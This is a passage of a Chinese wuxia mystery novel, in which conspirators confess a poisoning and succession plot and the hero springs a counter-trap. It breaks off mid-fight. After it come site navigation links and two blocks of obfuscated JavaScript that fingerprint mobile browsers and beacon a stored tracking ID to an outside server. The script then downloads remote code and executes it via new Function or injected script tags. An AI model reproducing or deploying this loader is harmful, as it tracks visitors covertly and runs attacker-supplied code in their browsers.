“正主等会儿自然会见到的。”玉蝴蝶说道:“不过眼下,我倒是可以先告 诉你们一些,你们好奇的事情。”

玉蝴蝶说道:“多年前,这江湖上最着名的用毒的门派,不是百草山庄,而 是当时正如日中天的奇花宫,这件事几位是知道的。当时的奇花宫的声势,可谓 是威震塞北,岂是今天百草山庄能比的。然而不幸的是,这奇花宫的宏图霸业却 在一瞬间戛然而止。这一点,我想除了雷庄主,恐怕苏女侠并不知道背后的真相 吧……”

“是的,这件事情只有我一人知道。当时江湖上发生了多起连环中毒案件, 后来据大侠霍青玉调查,发现背后是奇花宫所谓,而目的是为了替当时的权臣张 世栋制造混乱,诛锄异己。”苏希娇明白,雷斌刻意强调那件事情只有他一人知 道,是在尽量让对方觉得自己没有威胁,好给自己争取机会,心中竟然翻起一阵 感激。

“不错,当时奇花宫所谋者大,奈何最后棋差一招,这本来是无可厚非。江 湖之上成王败寇,我们愿赌服输。但你百草山庄,为何要落井下石,对我们赶尽 杀绝?”玉蝴蝶的话音,突然变的尖锐恐怖,让众人觉得有些不寒而栗,却听见 她狠狠地说道:“我永远也不会忘记,二十五年前那场大火,我的母亲,姑姑, 还有我的所有的家人,都在那一场大火中被屠杀殆尽。”

“你……你是二十五年前那个屠村事件中的幸存者?”孙玉蓉惊讶地问道。

“是的,在大火中,我的母亲用自己的身体护住了我和我的弟弟。我们这才 能从袭击中逃得性命。”玉蝴蝶冷冷说道。

“那你的弟弟呢?”苏希娇问道。

玉蝴蝶看了苏希娇一眼,横眉说道::“我弟弟在逃亡的过程中患了恶疾, 已经是奄奄一息。他把所有的粮食和水给了我,让我走出了大漠。而他自己留在 了大漠中,痛苦的等待着死亡。”人非草木,即使是大奸大恶的人也一样。说起 自己的弟弟当时的警情,玉蝴蝶的眼中也翻起了点点泪光,哽咽的说道:“我从 来不敢去想象,当时我的弟弟最后的眼神,但从那时起,我就开始高速自己,我 要报仇,要想你们百草山庄报仇。”

“这件事情到底和百草山庄有什么关系?”苏希娇好奇地问道。

玉蝴蝶看着苏希娇,突然嘴角笑了笑说道:“苏女侠,你以为你眼前的这些 人都是干净的吗?这个门派本来就是充满了罪恶的地方。二十五年前,百草山庄 还只是一个鲜为人知的小派。但当时不知道他们是从哪里得到的消息,竟然知道 了我们奇花宫余部的藏匿地点,同时他们还得知,虽然奇花宫实力大减,但我们 依然掌握着许多奇门毒药的制作方法。于是当时的百草山庄的庄主,暗命他手下 的两个弟子,带人潜入辽国境内,袭击了奇花宫余部,掠夺了大量的制药秘籍。 这两人,一个是雷斌的师父,已经过世了的长孙天,而另外一个人,就是蒋铁青。”

“所以,杀害蒋铁青的人是你,”雷斌缓缓说道:“而你选择的毒物,正是 你父亲传给你的千日醉。”

“不错,我父亲留给我了四份千日醉,我一份用给了那个当年出卖我们信息 的柳州司马,一个用在了当时的仇人蒋铁青身上,一份用在了豹韬卫那一队斥候 身上来引你上钩。而还有一份,我本来是留给你那个死鬼师父的,但没想到在我 出手之前,他倒是先死了。”

“所以,你把这第四份毒药用在了密探张二身上?”

“不错,这个人知道的太多了,所以他必须死。”玉蝴蝶说到这里,雷斌突 然发出一阵苦笑。这一下,轮到玉蝴蝶大惑不解了:“你笑什么?”

“没什么,”雷斌说道:“所以,当时给宋先生和珊儿下毒的,其实也是你 吧?”雷斌的话让苏希娇大惊,这件事情一直是她的一个心结,如果说玉蝴蝶是 真凶的话,她一定要把对方绳之以法的。

果然,玉蝴蝶笑着说:“不错,我让柳儿接近你们,就是要摸清你们的行踪。 好伺机动手。我说苏家妹子,你相公可不是个老实人,他为了帮宁氏这寡妇保留 住这四大掌故的位置,竟然持身不正,被她的风情勾引。那天晚上可是他主动去 那个小屋,当时,他还傻傻的以为可以和宁氏春风一度的哦。”

玉蝴蝶的话,让苏希娇的心又是惊讶,又是酸楚,一旁的雷斌却圆场道: “宋先生谦谦君子,若不是为了真相虚与委蛇,又岂能遭了你们的道。”顿了顿, 雷斌又说道:“其实你们煞费苦心,就是要引我来这里吧。”

“不错,”姬月娥说道:“我们的大庄主啊,你实在是实力太强,我们如果 就在山庄除掉你,又怕那些长老会的老古董们起疑。当你醒过来后,我们知道, 我们的这一桩买卖迟早会被你看破的,于是我们这才想起这个借力打力的办法。”

“什么借力打力?”雷斌问道。

姬月娥笑了笑,说道:“故事都讲到这里了,还是要让正主来见见大家,如 果大家见不到正主,恐怕死也不会甘心吧。”

姬月娥话音刚落,就听见内屋传来一个让人无比熟悉的声音,三个身影慢慢 走了出来,一个是杨兰茵,一个是个青年男子,苏希娇仔细依然,发现竟然是武 通南的那个男宠,而第三个人更让她惊讶,他竟然是雷绍裘!

“雷…雷副庄主?”孙玉蓉颤抖的声音看着这个让她觉得不可思议的人。

“哎,”雷斌叹了叹气,对转头对同样一脸茫然的苏希娇说道:“夫人,我 山庄的糟心事太多了,可让你苦恼了。”

雷斌在这边谈起,而雷绍裘那边却是笑嘻嘻地看着众人,就像是老猫看见了 耗子一样有恃无恐。

“二弟,这一切,都是你的计划吧。”雷斌说道。

“是啊,大哥,怎么样,我这计划还不错吧。”雷绍裘德意的说道。

“为了什么?”

雷绍裘听了这几个字,突然脸色变了,说道:“不过只是想听别人叫一声庄 主而已。”说罢,走到孙玉蓉面前,突然一耳光打在她的脸上,说道:“就在刚 才,你这还叫我雷副帮主,你们知道么,这小子根本不是我爹亲生,他根本不是 山庄血统的人,但他却继承了本来该给我的位置。这些年,你们所有人都叫我雷 副帮主,雷副帮主,以后,谁他妈再叫我雷副帮主,我就杀了谁。”此时的雷绍 裘,一脸的恶狠狠的样子,就像是一个野兽一样,眼睛就要滴出血来。

“我刚才一直在好奇,这玉蝴蝶从那一次的屠杀中勉强逃出来,当时可以说 是孑然一身。如果不是有人照应,玉蝴蝶定然也不会能够建立起极乐宫这样一个 花费昂贵的销金窝,现在看来,这一切都是二弟你的作为吧。”

“当然,”雷绍裘德脸色,又变成那种德意满满的样子,说到:“七年前, 你接任庄主的事情,曾经让我十分的心灰意冷。然而就在这个时候,我从父亲的 一个部下那里,得知了二十五年前的那次行动。虽然当时的事情完成后,所有参 与那一次行动的人都被严令守口如瓶,还立下了生死状。但我父亲的这个部下, 从小是看着我长大的,对你接任庄主的事情也是愤愤不平,所以他便把这个事情 告诉了我。”

雷绍裘看了一眼玉蝴蝶说道:“而就在那时,我几次入辽境,本来的目的是 想看看是否还有一些没有被我们得到的奇花宫的毒物。然而一次意外的经历,竟 然让我得知,这奇花宫还有人生还,也是皇天不负有心人,我终于找到了玉蝴蝶。 我们一拍即合,达成了交易,我帮她复仇,她把她从奇花宫中带出的药经和武功 秘籍给了我,助我夺取山庄庄主的位置。”

“所以,武通南的练的那一个春水诀的功夫,其实是你给他的吧,包括你身 边的那个青年,让他接近武通南,也是你的安排吧。”雷斌看了一眼那个唇红齿 白的青年,向雷斌问道。

“不错,这当然是我的计划。这个武通南管的太宽了,本来只是让他帮着走 下银子,结果他竟然私自调查起龙虎草的事情。当时情急之下,我只能让我训练 的童子去接近他,但要掌握更多的情报,我自然要让我的童子变得更重要一点。 所以我才制造机会让他得到了春水诀。”

“你说的机会,就是武通北,是吧?”雷斌缓缓道:“他和你一样,都对这 个大哥恨之入骨,只要武通南死了,他就是万柳山庄的庄主。这一点和你一拍即 合,二弟啊,所以你们真的是沆瀣一气。”

“不,大哥,我们不是沆瀣一气,我们可是优势互补。要知道,如果不是武 通北精心策划了那一场枫回镇的闹剧,你们又怎么会来到这里。”

雷斌叹了一口气道:“二弟,想不到,你为了这庄主的位置,竟然对自己都 这么狠。”他的脸色突然变了,正色说到:“然而你机关算尽,最后还是作茧自 缚。你以为,我之身犯险是真的中了你的圈套吗?我不过是想把你引出来而已。”

“哦?我的大哥,你好像很义愤填膺嘛。这些年你一直对我各种说教,我心 里一直不耐烦。但眼前,我反而想要听听你到底能说什么了。因为过了今天,你 就再也说不出话来了。”

雷斌也笑了笑道“两年前,我发现了桃花的背后的秘密,事情败露的她在我 面前当场自尽。我在心绪不宁之下,竟然产生了轻生的念头,但你们中的一个人, 却无论如何也不想我死,而这个人就是你。二弟,我说的对吧。”

“不错,”雷绍裘说道:“按照山庄的规矩,如果庄主因为各种原因,无法 完成任期,就应该由四大掌故一起,练手治理山庄,直到下一任改选。当时我羽 翼未丰,如果让四大掌故联手,我很快就要失去对山庄的控制。所以我只能让你 活着,让众人觉得我是在努力维持山庄的平衡,然后才能让我在山庄由立足之地。”

“当然了,那次之后,你就开你的行动,首先是假意和姬月娥对立,好让她 有机会接近潇湘子。”

“是的,潇湘子心眼极多,我只能让当时和我结成了联盟的姬月娥暗中和他 接近。而那个西夏一品堂的探子张康,知道只有跟着我,他才能继续得到好处, 所以自然也成了我的一条走狗。”

“但是当时你也知道,山庄的规矩是,同一门不能连续两任出任庄主。所以 你只能等自己羽翼丰满后,再找机会,让我重新出现在众人的视野里,一步一步 引导我去帮你演完你这一出精心安排的大戏。”

“哦?这一下,你好像变得很清醒嘛。”雷绍裘笑道。

雷斌没有理会他,继续说道:“宋先生夫妇的出现,让你觉得机会来了。张 康的中毒,其实完全是你的计划,目的就是要引苏女侠出手,也好让你试探一下 她是否是你的人选。而显然,苏女侠比你想象中还要厉害,所以你立即苏女侠帮 我解开了身上的余毒。其实当时你也知道鹧鸪红的解毒方法,但你需要借别人的 手来完成。所以,即使当时苏女侠没有方法,你也会找机会把解毒的方法告诉她 的。”

苏希娇这才明白,自己从一开始就产生的不安的感觉,竟然是真的。看来自 己一开始就在对方的算计之中,苏希娇突然觉得这个雷绍裘真的很可怕。

雷斌注意到了女人的变化,但四肢疲软的他并没有多余的力气去安慰苏希娇。 只是接着说道:“等我苏醒后,你立即先让玉蝴蝶逼迫宁氏,完成这一出夜袭药 庐的闹剧,目的表面是让我逼迫张康离开,同时再借我的手,以管理无力为由削 弱潇湘子的权利。蒋铁青在之前已经被你们杀害,而尉迟义进本来就是你的人。 现在,你们只要杀了我和孙玉蓉,山庄里面就没有人能够威胁到你的地位了。”

“不错,而要知道,你的一身惊世骇俗的武功和机变都是让我非常忌惮的, 要想出掉你真的很难。所以这个时候,我只能设法把你引到一个绝对安全的地方 再动手。”雷绍裘说道:“而就在这时,我想到了我的一个老朋友,豹韬卫大将 军韩君麒。”

“韩将军和你是一路的?”

雷绍裘看着苏希娇惊讶的表情,得意的笑了笑说道:“看来今天让苏女侠惊 讶的事情,着实多了一些。我可以告诉你,如果没有我的毒药的帮助,韩君麒的 前任大将军又怎么会暴毙呢?”雷绍裘说道:“不光如此,我对他的帮助还有一 个更大的地方。”

“是龙虎丸吧。”

“不错。”

“其实,这个世上根本没有龙虎丸这种东西吧。”雷斌的话,让苏希娇又是 一惊,却听见这边的雷绍裘说道:“不错,其实这一桩买卖,一开始就是一出戏 而已。韩君麒需要升官,所以他需要钱,而我要想在漠北经营我的势力,是离不 开他的支持的。所以,我才帮他设计了这个计划,让他可以得到足够的银子。”

“什么计划?”

这时,一旁就不做声的周虞候突然说道“”我们大将军告诉朝廷,为了对抗 黑风骑,他训练了一支秘密的斥候军队。这个军队除了人员,军械,均是上乘以 外,每年还要朝廷拨发大量的银两,来采购龙虎丸。虽然这龙虎丸,不过是我们 杜撰的一种药物而已,一点屁用没有。的不过这每年的几十万两银子的开销,自 然就落入了我们的腰包里。“

“然后你们又以龙虎草为引,引我到这里来,再联手杀了我。这样,你们即 可以让玉蝴蝶报仇,又可以把我的死归咎在辽人身上。而倘若龙虎丸事发,你们 甚至还可以把责任往我头上一推,你自己反而落一个大义灭亲的好名声。真可谓 一箭三雕啊。”

“哈哈,这只能算我们各取所需而已。”雷绍裘笑道。

“可惜啊,你们机关算尽,却始终是错算了一招,二弟,你如果想赢我,恐 怕没这么容易的。”

雷斌的话,不但没有让雷绍裘的笑声没有停,反而笑得更大声了:“大哥, 你要笑死我了,你都这样的境地了,我杀你不费吹灰之力,你还有口气说大…” 雷绍裘的话还没说完,脸色却变得严肃起来。因为此时,雷斌竟然从座椅上站了 起来。不光站了起来,甚至他的步履还十分轻盈。

“”

“你,你不是中了迷药吗?”雷绍裘难以置信的看着这一切。

但他的惊讶很快得到了答案,一个苍老有力的女性声音,在门外响起,说到: “这一切当时都是计,是雷庄主和我联手给你们做的局。”

众人对这声音都是一头雾水,但唯独苏希娇此时一下子喜上眉梢,声音激动 得有些颤抖地叫道:“师父。”

这熟悉的声音的主人正是蒲心兰,带着她手下的一众随从,手持兵刃,神色 轻松的出现在了店门口。而他们的身后,还有两个身影,一个是一脸笑容的张康, 而另外一个人,竟然是那个此时应该在万柳山庄得意的享受着雷绍裘给他带来的 庄主之位的武通北。一见到这几人,雷绍裘等人立即脸色大变,尤其是玉蝴蝶, 急忙想要去看看门外那些自己手下的情况。

“不用去了,”蒲心兰说道:“我能在这里,他们自然已经被我们解决了。” 说罢,走到苏希娇面前,从怀中拿出了一个小瓶,拧开给她闻了闻,不一刻钟, 苏希娇就觉得自己慢慢恢复了体力。

“师父,你怎么在这里。”苏希娇的语气中充满了激动。

蒲心兰爱怜地摸了摸她的头发,笑着说道:“还不是为了你这们这些不成器 的后辈”说罢,站起身来,对雷绍裘缓缓说道:“接下来的事情,还是我来说吧。”

蒲心兰看了看那个周虞候,说道:“首先,你们豹韬卫大营的消息,并不像 是你想象中那么牢靠。大约一年前,我就接到密报,说你们豹韬卫经常给朝廷中 的一些大员送孝敬银子,而这些银子的数量可谓惊人。于是我便暗令内线,潜入 了你们军中,虽然不曾查明真相,但其实当时已经知道一些你们龙虎丸交易的秘 密了。”

“当时未怕打草惊蛇,我并没有大张旗鼓的调查此事。但事情的转机发生在 希娇告诉我,她要替中毒的雷庄主解毒的时候,我才想起,这龙虎丸如果要找人 秘密酿制,那你们百草山庄自然是最好的选择。所以我即刻起身北上,准备亲自 指挥后面的调查活动。无独有偶,毒伤痊愈的雷庄主,也对这龙虎丸交易的事情, 充满了很多的疑惑。我们本来就有些故交,当下一印证,立即发现了很多端倪。” 众人听说这二人是故交的时候,立时大惊。但苏希娇却知道,师父和雷斌之前有 着别人不知道的关系。

“当时意识到事态的性后,庄主立即做了打算,首先要做的是将你接下来要 准备清除的山庄势力都保护起来。”蒲心兰说着,对张康笑了笑。

张康说道:“不错,其实什么我是真正的西夏一品堂的探子,都是假的。这 不过是庄主事先安排的计策而已。当时庄主这么做的目的,是要将和你虚与委蛇 多年,而又功力受损的我从山庄中解放出来,先去寻找龙虎丸的线索。”

而这边的武通北也说道:“也亏得庄主这样的安排,才让我躲过一劫。”说 罢,把自己脸上的皮肤搓了搓,竟然变成了另外一个人,虽然形貌依然变化不大, 但众人却知道这微妙的差异说明,这个武通被是另外一个人易容而成的。

“你,你是武庄主。”雷绍裘身后那个青年吃惊的叫到。

“不错,我其实是武通南。”男人狠狠的说道:“其实我很早就发现你们和 我二弟的阴谋,可惜,弟弟就是弟弟,见识比起哥哥自然短了。”看来,这武通 南也是假意配合着雷绍裘的计划。只不过,他为了这个计划,竟然牺牲掉了男人 的尊严,着实让人感慨。

蒲心兰知道此时武通南的痛苦,转移话题说到:“我想,当时你们原本的如 意算盘,是让豹韬卫请六扇门的人北上,然后借机告诉我们,说百草山庄在千日 醉一案中有问题。我们得到了这个线索后,自然会向百草山庄施压。于是你们就 假装要洗清罪名,暗中让雷庄主不得不选择深入辽境探查此事。”

雷斌点了点头,接话说:“但这其中就有一个问题,整个计划对于你们来说 战线拉得过长,稍有不慎就会前功尽弃。但是无意间,你发现了宁氏对宋先生的 行为后,就立即改变了你们的计划。你们首先将心思最为机敏的宋先生从行动中 排除出去,这样让我们只能选择由我来替代宋先生北上。然后在漠北的大营里, 你们又故意上演了发现尸体中毒的闹剧,让我们当机立断的想要去辽境调查。这 样才好达到你们的目的吧。”

“不错,”雷绍裘说道:“为了你,我可是把我最后的两张王牌都打出来了。”

雷斌点了点头道:“这两张王牌,一个是武通南身边的卧底,一个就是他吧。” 说完,雷斌指了指一旁的尉迟义进。而此时尉迟义进竟然也不说什么,竟然默默 站起来走到雷绍裘身后。一切,已经不言而喻了,尉迟义进也是雷绍裘的人。

“看来二弟为了我,真是煞费苦心啊。不过,我还有一个问题。”雷斌问道: “在落马镇,那一群黑风骑的骑兵是你们招来的么?如果在那里,你们选择配合 黑风骑对我们下手,我们恐怕就难以有招架之力了。你们没有选择在那里动手的 原因是什么?”

雷绍裘说道:“我们本来就要打算让你死在这里,因为当时玉蝴蝶还在宋境, 一个是她想要亲自手刃仇人。第二,说真的,大哥,如果我不真的赢你一次,我 以后如何服众呢?”

雷斌的意思,再明白不过了,他要收服众人,就必须要亲自打败自己。就像 是自己当年一夜之间连挑三大门派一样。这么看来,黑风骑,还有那个乌勒,应 该都是他们计划的一环。最后自然是让武通北再上演一场闹剧,把自己最终引向 了咔萨拉古镇。

“我们兄弟,真的非要动手吗?”雷斌的语气中充满了叹息。

张康却笑了笑,说到:“副庄主,我劝你还是算了吧。你们这些人,真以为 实力在我们几人联手之上吗?”

然而从得胜的狂喜掉入了失败的灰暗的雷绍裘,此时却把战胜雷斌看作最后 的希望。突然一咬牙,拔出了常见,如同一头失控的猛兽一般向雷斌攻去。

雷斌叹了口气,往后一退,躲开了这凌厉的攻势,然后顺势也拔出了自己的 长剑。

兄弟间的对决,似乎已经注定了一般,而除了他们两人,房屋中的其他人也 立时交手在了一起。雷绍裘这边众人之中,功夫最好的是姬月娥,此时知道只能 孤注一掷的她,竟然身法如同鬼魅一般,和张康打得难解难分。另外一边,尉迟 义进却完全不是武通南的对手,十招未到,就已经开始露出败相。比他们的打斗 更一边倒的事孙玉蓉那边,虽然她很想手刃这个背叛了自己的尉迟义进,但理智 告诉她,自己并非尉迟的对手。所以她带着一脸怒气,一双短剑很快就杀得黄金 山和周虞候一片鬼哭狼嚎。

杨兰茵率领着几个玉蝴蝶的手下,联手和蒲心兰等六扇门中人打在了一起, 虽然蒲心兰这边都是六扇门的好手,但玉蝴蝶的那几个手下也是江湖中的成名人 物,双方都了个旗鼓相当。只有这边,苏希娇的对面,是那个曾经跟她有过一些 交情的玉蝴蝶。

自从上次私自走访极乐宫之后,苏希娇就把玉蝴蝶当成了朋友,那种知道自 己最隐私的欲望的朋友。然而此时,她们却不得不兵刃相向。玉蝴蝶使着一条长 鞭,鞭法灵活,如同飞沙走石一般隐隐带着风雷之势,苏希娇虽然武功了得,也 一时奈何不了她。五十个回合后,两人竟然杀的难解难分。

偏偏就在这次,苏希娇的脑海里,却竟然情不自禁的浮现起来了那日自己在 极乐宫和玉蝴蝶赤裸相向的样子,心中一阵恍惚。但高手之间的对决,往往最怕 的就是这种分神。玉蝴蝶见苏希娇的剑法稍有凌乱,于是立即进招,一条长鞭像 长龙一样想她袭来。

然而电光火石间,这孤注一掷的袭击却并没有奏效。已经解决了尉迟义进的 武通南,突然来到苏希娇身边,伸出两指,一下夹住了玉蝴蝶的长鞭。玉蝴蝶的 攻势,这一下就像是泥牛入海一样,变得毫无力道。而就在同一时刻,张康的掌


上一篇:淫荡的小雯1-9

下一篇:南海玩华录(1.3-1.4)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};